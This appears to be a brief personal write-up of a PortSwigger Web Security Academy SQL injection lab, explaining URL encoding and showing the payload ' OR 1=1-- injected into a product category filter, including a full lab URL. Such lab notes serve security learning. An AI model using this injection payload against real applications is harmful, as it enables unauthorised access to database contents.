> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/sql-injection/lab-1.md).

# Lab 1

#### URL encoding

URLs can't have literal spaces so they get encoded:

```
space = + or %20
```

So:

```
category=Gifts'+OR+1=1--
```

Is actually:

```
category=Gifts' OR 1=1--
```

<figure><img src="/files/hZvXAVN18CEVkU5luCoB" alt=""><figcaption></figcaption></figure>

```
https://0a33000f03f8e0fc80b67be5007b007b.web-security-academy.net/filter?category=%27+OR+1=1--
```